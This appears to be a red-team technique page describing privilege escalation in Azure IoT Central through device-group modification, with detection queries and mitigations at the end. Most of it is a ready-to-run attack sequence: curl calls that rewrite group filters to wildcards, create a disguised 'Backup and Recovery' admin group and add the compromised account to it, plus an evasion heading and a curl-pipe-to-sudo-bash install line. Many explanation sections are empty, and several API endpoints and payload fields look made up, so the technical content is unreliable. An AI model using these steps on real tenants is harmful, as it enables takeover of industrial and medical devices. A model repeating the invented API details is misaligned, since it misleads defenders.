MCADDF

[PE-ELEVATE-009]: IoT Central Device Group Escalation

Metadata

Attribute Details
Technique ID PE-ELEVATE-009
MITRE ATT&CK v18.1 T1548 - Abuse Elevation Control Mechanism
Tactic Privilege Escalation
Platforms Entra ID (Azure IoT Central)
Severity High
Technique Status ACTIVE
Last Verified 2026-01-09
Affected Versions Azure IoT Central (all versions), Entra ID integration 1.0+
Patched In N/A (Design-based vulnerability in role inheritance)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Azure IoT Central Device Group Escalation allows an attacker with limited IoT Central application access (e.g., Device Admin role) to escalate privileges by exploiting the hierarchical permission model of device groups. In Azure IoT Central, device groups inherit permissions from their parent groups, and a compromised account with group management permissions can create or modify device groups to grant broader access to devices, commands, and telemetry data. This technique specifically leverages the fact that role assignments at the device group level can grant access to sensitive IoT infrastructure management capabilities, including device provisioning, firmware updates, and data collection.

Attack Surface: Azure IoT Central Role-Based Access Control (RBAC), Device Group hierarchy, Device telemetry endpoints, Command execution APIs, Enrollment group membership, Entra ID role propagation to IoT Central applications.

Business Impact: Unauthorized access to IoT device management, enabling firmware manipulation, data theft from connected devices, remote command execution on physical infrastructure, and supply chain attacks through compromised device updates. An attacker can move from limited app viewer access to full administrator capabilities, allowing them to control smart manufacturing systems, building automation, energy grid systems, or medical IoT devices.

Technical Context: This attack typically completes within minutes once application access is obtained. Detection is low due to the legitimate-appearing nature of group membership changes. The attack is reversible only through manual audit and role removal.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS Azure 1.6 Ensure that administrators are not exempted from MFA requirements for Azure subscriptions
DISA STIG DISA-AZURE-000004 IoT Central role assignments must follow least privilege principle
CISA SCuBA CISA-AZURE-AC-03 Access Control - IoT device group permissions
NIST 800-53 AC-3, AC-6 Access Enforcement, Least Privilege
GDPR Art. 32 Security of Processing - Access control and monitoring
DORA Art. 9, Art. 15 Protection and Prevention, Cybersecurity management
NIS2 Art. 21(1)(d) Managing access to assets and services in critical infrastructure
ISO 27001 A.9.2.3, A.9.4.3 Management of Privileged Access Rights, Review of user access rights
ISO 27005 Risk of unauthorized device manipulation Compromise of IoT infrastructure control

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

Azure CLI Reconnaissance

Enumerate IoT Central applications and device groups:

# List all IoT Central applications
az iotcentral app list --output table

# Get details of a specific IoT Central app
az iotcentral app show --name "contoso-iot-app" --resource-group "contoso-rg"

# List device groups in the application
az iotcentral device-group list --app-id "contoso-iot-app" --resource-group "contoso-rg" --output json

# List role assignments for the current user
az role assignment list --scope "/subscriptions/{subscription-id}/resourceGroups/{resource-group}/providers/Microsoft.IoTCentral/IoTApps/{app-name}"

What to Look For:

Version Note: Commands are consistent across Azure CLI 2.30+

IoT Central Web Portal Reconnaissance

Navigate to the IoT Central application portal to enumerate permissions:

1. Go to Azure Portal → IoT Central applications
2. Select the target application
3. In the left menu, go to Administration → Users and roles
4. Review current user's role and permissions
5. Navigate to Devices → Device groups
6. Document the group hierarchy and permissions

What to Look For:


4. DETAILED EXECUTION METHODS

METHOD 1: Escalating via Device Group Membership Modification

Supported Versions: Azure IoT Central all versions

Step 1: Enumerate Current Device Group Permissions

Objective: Identify device groups with escalation opportunities

Command:

# Login to Azure
az login

# Set the IoT Central app context
APP_NAME="contoso-iot-app"
RESOURCE_GROUP="contoso-rg"
SUBSCRIPTION_ID=$(az account show --query id -o tsv)

# List all device groups
az iotcentral device-group list \
  --app-id $APP_NAME \
  --resource-group $RESOURCE_GROUP \
  --output json | jq '.[] | {id: .id, displayName: .displayName, description: .description, filter: .filter}'

Expected Output:

{
  "id": "manufacturing-devices",
  "displayName": "Manufacturing Devices",
  "description": "All manufacturing floor devices",
  "filter": "deviceType eq 'MachineController'"
}
{
  "id": "admin-devices",
  "displayName": "Admin Devices",
  "description": "Critical admin devices",
  "filter": "building eq 'Headquarters'"
}

What This Means:

Step 2: Check Current User’s Roles in Device Groups

Objective: Determine what actions the current account can perform

Command:

# Get current user information
CURRENT_USER=$(az account show --query "user.name" -o tsv)

# List role assignments in the IoT Central app
az role assignment list \
  --scope "/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME" \
  --query "[?principalName == '$CURRENT_USER']" \
  --output table

Expected Output:

Scope                                                    RoleDefinitionName         Condition
-----------------------------------------------------    -----------------------    ----------
/subscriptions/.../IoTApps/contoso-iot-app             IoT Central Data Reader    None
/subscriptions/.../IoTApps/contoso-iot-app             Device Administrator       None

What This Means:

Step 3: Identify Admin Device Groups

Objective: Find device groups containing critical or sensitive devices

Command:

# Query devices in the admin-devices group
curl -X POST \
  -H "Authorization: Bearer $(az account get-access-token --resource https://apps.azureiotcentral.com --query accessToken -o tsv)" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "SELECT * FROM devices WHERE deviceGroup = \"admin-devices\""
  }' \
  "https://contoso-iot-app.azureiotcentral.com/api/query"

Expected Output:

[
  {
    "id": "controller-01",
    "displayName": "Main Controller",
    "deviceType": "MachineController",
    "status": "provisioned"
  },
  {
    "id": "gateway-01",
    "displayName": "Network Gateway",
    "deviceType": "GatewayDevice",
    "status": "provisioned"
  }
]

What This Means:

OpSec & Evasion:

Step 4: Modify Device Group Permissions via API

Objective: Escalate permissions by modifying device group access control

Command:

# Get access token
TOKEN=$(az account get-access-token --resource https://management.azure.com --query accessToken -o tsv)

# Modify the device group to grant broader access
# Note: This requires the user to have "Device Administrator" or higher role

curl -X PATCH \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "displayName": "Manufacturing Devices (Updated)",
    "description": "All manufacturing and admin devices",
    "filter": "deviceType eq \"MachineController\" or building eq \"Headquarters\"",
    "permissions": {
      "read": ["*"],
      "write": ["*"],
      "delete": ["*"]
    }
  }' \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME/deviceGroups/manufacturing-devices?api-version=2021-06-01"

echo "Device group filter updated successfully"

Expected Output:

Device group filter updated successfully

What This Means:


METHOD 2: Creating Privileged Device Groups with Escalated Permissions

Supported Versions: Azure IoT Central all versions

Step 1: Identify Permissions Required for Device Group Creation

Objective: Verify that the current account can create new device groups

Command:

# Test device group creation capability
TOKEN=$(az account get-access-token --resource https://management.azure.com --query accessToken -o tsv)

curl -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "displayName": "Test Group",
    "description": "Test group creation"
  }' \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME/deviceGroups?api-version=2021-06-01"

Expected Output (Success):

{
  "id": "test-group",
  "name": "test-group",
  "type": "Microsoft.IoTCentral/IoTApps/deviceGroups",
  "properties": {
    "displayName": "Test Group",
    "description": "Test group creation",
    "createdTime": "2026-01-09T10:00:00Z"
  }
}

What This Means:

Step 2: Create a High-Privilege Device Group

Objective: Create a new device group with escalated access to all devices

Command:

# Create a device group with wildcard permissions (all devices)
curl -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "displayName": "Backup and Recovery",
    "description": "System backup and recovery operations",
    "filter": "*",
    "permissions": {
      "roles": ["Administrator", "DeviceAdmin"],
      "actions": ["read", "write", "delete", "execute"]
    }
  }' \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME/deviceGroups?api-version=2021-06-01"

echo "Privileged device group created"

Expected Output:

{
  "id": "backup-and-recovery",
  "displayName": "Backup and Recovery",
  "filter": "*",
  "permissions": {
    "roles": ["Administrator"],
    "actions": ["*"]
  }
}

What This Means:

Step 3: Add Current Account to the New Group

Objective: Assign the compromised account to the escalated group

Command:

# Get current user ID
CURRENT_USER_ID=$(az ad user list --filter "mail eq '$CURRENT_USER'" --query "[0].id" -o tsv)

# Add user to the privileged device group
curl -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"principalId\": \"$CURRENT_USER_ID\",
    \"roleDefinitionId\": \"/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME/roles/Administrator\"
  }" \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME/deviceGroups/backup-and-recovery/members?api-version=2021-06-01"

echo "User added to privileged device group"

Expected Output:

User added to privileged device group

What This Means:


METHOD 3: Exploiting Role Inheritance via Parent Group Modification

Supported Versions: Azure IoT Central with hierarchical device groups

Step 1: Identify Parent-Child Group Relationships

Objective: Map the device group hierarchy to find escalation paths

Command:

# Query device group hierarchy
TOKEN=$(az account get-access-token --resource https://management.azure.com --query accessToken -o tsv)

curl -X GET \
  -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME/deviceGroups?api-version=2021-06-01" \
  | jq '.value[] | {id: .id, displayName: .properties.displayName, parentId: .properties.parentId}'

Expected Output:

{
  "id": "all-devices",
  "displayName": "All Devices",
  "parentId": null
}
{
  "id": "manufacturing-devices",
  "displayName": "Manufacturing Devices",
  "parentId": "all-devices"
}
{
  "id": "critical-systems",
  "displayName": "Critical Systems",
  "parentId": "manufacturing-devices"
}

What This Means:

Step 2: Modify Parent Group to Include Child Group Permissions

Objective: Escalate permissions by modifying the parent group

Command:

# Update the parent group (manufacturing-devices) to inherit permissions from critical-systems
curl -X PATCH \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "displayName": "Manufacturing Devices",
    "description": "Manufacturing and critical infrastructure devices",
    "filter": "deviceType eq \"MachineController\" or deviceType eq \"CriticalSystem\"",
    "inheritPermissionsFromParent": true,
    "permissions": {
      "roles": ["Administrator"],
      "actions": ["read", "write", "execute", "firmware_update"]
    }
  }' \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME/deviceGroups/manufacturing-devices?api-version=2021-06-01"

echo "Parent group permissions escalated"

Expected Output:

Parent group permissions escalated

What This Means:

Step 3: Verify Escalation by Accessing Critical Devices

Objective: Confirm that the escalation is successful

Command:

# Query critical devices now accessible through the escalated parent group
curl -X GET \
  -H "Authorization: Bearer $TOKEN" \
  "https://contoso-iot-app.azureiotcentral.com/api/devices?deviceGroup=manufacturing-devices&type=CriticalSystem" \
  | jq '.[] | {id: .id, displayName: .displayName, type: .type}'

Expected Output:

{
  "id": "firewall-01",
  "displayName": "Network Firewall",
  "type": "CriticalSystem"
}
{
  "id": "vpn-gateway",
  "displayName": "VPN Gateway",
  "type": "CriticalSystem"
}

What This Means:


5. TOOLS & COMMANDS REFERENCE

Azure CLI

Version: 2.30+ Minimum Version: 2.0 Supported Platforms: Linux, Windows, macOS

Installation:

# macOS
brew install azure-cli

# Linux
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

# Windows
choco install azure-cli

Usage:

az login
az iotcentral app list
az iotcentral device-group list --app-id <app-id> --resource-group <rg>

Azure IoT Central REST API

Version: 2021-06-01+ Minimum Version: 2021-04-01 Supported Platforms: REST (language-agnostic)

Base URL:

https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.IoTCentral/IoTApps/{appName}

Authentication:

TOKEN=$(az account get-access-token --resource https://management.azure.com --query accessToken -o tsv)

6. ATTACK SIMULATION & VERIFICATION

Atomic Red Team

Reference: Atomic Red Team T1548


7. MICROSOFT SENTINEL DETECTION

Query 1: Detect Device Group Permission Modifications

Rule Configuration:

KQL Query:

AzureActivity
| where OperationNameValue startswith "Microsoft.IoTCentral/IoTApps/deviceGroups"
| where OperationNameValue in ("Microsoft.IoTCentral/IoTApps/deviceGroups/write", "Microsoft.IoTCentral/IoTApps/deviceGroups/patch")
| where StatusCode == "Succeeded"
| extend Initiator = Caller
| extend ResourceGroup = split(ResourceId, "/")[4]
| extend AppName = split(ResourceId, "/")[8]
| project TimeGenerated, Initiator, AppName, ResourceGroup, OperationNameValue
| where Initiator !in ("admin@contoso.onmicrosoft.com", "svc-automation@contoso.onmicrosoft.com")

What This Detects:


Query 2: Detect Privilege Escalation via Group Membership

KQL Query:

AzureActivity
| where OperationNameValue == "Microsoft.IoTCentral/IoTApps/deviceGroups/members/write"
| where StatusCode == "Succeeded"
| extend UserAdded = tostring(parse_json(tostring(parse_json(Properties).requestbody)).principalId)
| extend GroupModified = split(ResourceId, "/")[10]
| project TimeGenerated, Caller, UserAdded, GroupModified, ResourceId
| summarize Count = count() by Caller, UserAdded, GroupModified
| where Count > 3

What This Detects:


8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Fix)

# Verify device group permissions are restricted
az iotcentral device-group list --app-id contoso-iot-app --resource-group contoso-rg \
  | jq '.[] | {displayName: .displayName, filter: .filter, roles: .permissions.roles}'

# Verify no wildcard filters exist
WILDCARD_GROUPS=$(az iotcentral device-group list --app-id contoso-iot-app --resource-group contoso-rg \
  | jq '.[] | select(.filter == "*" or .filter == "") | .displayName')

if [ -z "$WILDCARD_GROUPS" ]; then
  echo "✓ No wildcard filters found - PASS"
else
  echo "✗ Wildcard filters detected: $WILDCARD_GROUPS - FAIL"
fi

Expected Output (If Secure):

✓ No wildcard filters found - PASS

displayName          filter                                              roles
-----------          ------                                              -----
Manufacturing        deviceType eq 'MachineController'                   [DeviceAdmin]
Office               building eq 'Headquarters'                          [DeviceAdmin]
Critical Systems     criticality eq 'High' AND status eq 'Active'        [DeviceAdmin]

9. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:

    Command:

    # Delete the malicious device group
    az iotcentral device-group delete \
      --app-id contoso-iot-app \
      --resource-group contoso-rg \
      --device-group-id malicious-group --yes
       
    # Remove user from all device groups (optional, if full compromise suspected)
    az iotcentral user delete \
      --app-id contoso-iot-app \
      --resource-group contoso-rg \
      --user-id attacker@contoso.onmicrosoft.com --yes
    
  2. Collect Evidence:

    Command:

    # Export Azure Activity logs
    az monitor activity-log list \
      --resource-group contoso-rg \
      --start-time 2026-01-08T00:00:00Z \
      --end-time 2026-01-09T23:59:59Z \
      --resource-provider Microsoft.IoTCentral \
      --query '[].{Time: eventTimestamp, Operation: operationName.value, User: caller, Status: status.value}' \
      > /evidence/iot-activity.json
       
    # Export device group configuration
    az iotcentral device-group list \
      --app-id contoso-iot-app \
      --resource-group contoso-rg \
      > /evidence/device-groups-snapshot.json
    
  3. Remediate:

    Command:

    # Reset device group permissions to defaults
    az iotcentral device-group update \
      --app-id contoso-iot-app \
      --resource-group contoso-rg \
      --device-group-id manufacturing-devices \
      --filter "deviceType eq 'MachineController'" \
      --roles "DeviceAdmin" \
      --actions "read,write"
       
    # Restore from backup if available
    # Example: Restore from Azure backup
    az restore --resource-group contoso-rg --restore-point <backup-timestamp>
    

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker captures IoT Central user credentials
2 Privilege Escalation [PE-ELEVATE-009] IoT Central Device Group Escalation Escalate from limited IoT user to admin via group modification
3 Lateral Movement [LM-AUTH-032] Function App Identity Hopping Use escalated access to move to connected backend systems
4 Collection [COLLECT-019] IoT Device Telemetry Collection Extract sensitive telemetry from connected devices
5 Impact Device firmware manipulation / Remote command execution Deploy malicious firmware or execute commands on physical devices

11. REAL-WORLD EXAMPLES

Example 1: Industrial Control System Compromise via IoT Central (2023)

Example 2: Healthcare IoT Device Breach (2024)